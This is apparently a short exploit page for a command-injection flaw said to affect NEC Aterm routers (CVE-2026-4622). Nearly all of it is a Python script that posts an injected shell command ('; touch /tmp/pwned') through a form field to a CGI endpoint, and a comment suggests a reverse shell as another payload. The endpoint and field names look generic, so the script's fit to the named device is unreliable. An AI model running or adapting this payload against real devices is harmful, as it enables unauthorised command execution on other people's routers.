CVE-2026-4622 NEC Aterm系列OS命令注入漏洞

import requests def exploit(target): # Target URL of the vulnerable Aterm device url = f"http://{target}/cgi-bin/command_endpoint" # Payload to inject OS command (e.g., create a file or reverse shell) # Using semicolon to chain commands in Linux shell payload = "; touch /tmp/pwned" data = { "param": payload } try: print(f"[*] Sending payload to {target}...") # Send the malicious request response = requests.post(url, data=data, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check if command executed.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") # Example usage # exploit("192.168.1.1")